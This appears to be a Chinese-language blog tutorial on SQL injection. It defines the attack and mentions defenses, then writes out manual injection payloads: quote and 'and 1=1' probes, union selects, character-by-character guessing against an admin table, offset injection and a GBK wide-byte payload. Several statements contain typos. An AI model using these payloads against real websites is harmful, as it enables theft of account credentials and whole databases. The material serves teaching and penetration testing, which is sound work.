SQL注入
當我們學習一個知識時我們要考慮幾個問題:是什么?怎么做?然后進行有條理的學習
是什么?
首先我們要明白SQL注入是什么:
sql——結構化查詢語言
SQL注入就是在網站url中插入sql語句,執行sql命令,獲取數據庫內容,達到欺騙服務器的目的。
SQL注入的原理:普通用戶提交sql查詢語句,網站沒有對用戶輸入進行過濾導致執行用戶命令
危害及防護
危害:SQL注入可以使入侵者獲取后台賬號密碼、拖庫、進入后台破壞、拿shell
防護:設置網站黑名單、限制敏感詞匯、對用戶輸入進行轉義、將參數語句化
怎么做?
明白什么時SQL注入后我們就要學習如何注入。
注入的前提是要找到注入漏洞,通常判斷是否存在SQL注入漏洞的方法有:
1、 ‘ 單引號判斷
2、 and 1=1 1=2 判斷
找到注入漏洞后就可以進行SQL注入了,注入方法分為很多種:
聯合查詢法
逐字猜解法
偏移注入法
寬字節注入
時間、布爾盲注
報錯注入
進行注入可以使用手工和工具,手工注入方法:
1、聯合查詢法
首先判斷存在注入漏洞后:
1、使用order by
2、使用聯合查詢語句:union select nums,nums(字段數) from admin(數據庫表名)
3、根據返回內容進一步猜解列名:賬號密碼
2、逐字猜解法:
逐字猜解不需要進行猜解字段,直接使用逐字猜解語句猜解庫名、列名以及賬號密碼
逐字猜解語句:
and exists (select * from 表名)
and exists (select 列名 from 表名)
and (select top 1 len(用戶名) from admin ) =名字長度
and (select top 1 asc(mid用戶名,1,1)from admin )=97 (判斷第一位的ascll值)
and (select top 1 asc(mid用戶名,2,1)from admin )=97 (第二位)
逐字猜解方法偏於繁瑣,熟悉手工注入方式即可,在滲透測試過程中還是要講究效率問題
3、偏移注入法:
偏移注入屬於無法猜解賬號密碼后嘗試的使用方法,注入結果帶有一點運氣的成分
偏移注入語句:
order by 猜解字段
union select num,num,num from 表名
union select num,num,* from admin 逐個遞減字段數,當可以正常訪問則證明admin表存在(遞減字段數假設為x)個字段
之后每次遞減x個字段
遞減一個x后
union select num * from(admin as ainner join admin as b on a.id=b.id)
遞減兩個x后
union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
逐個遞減直到所剩字段小於x后(不一定可以得到所要結果)
4、寬字節注入法:
什么時候使用寬字節呢?當web編碼使用GBK時,可以將單引號轉義則使用寬字節注入
寬字節注入:%df (注入語句)%23
5、報錯注入,盲注則根據頁面返回情況,返回時間進行注入
以上即為常用的幾種手工注入方式,如有錯誤請留言,博主及時更正!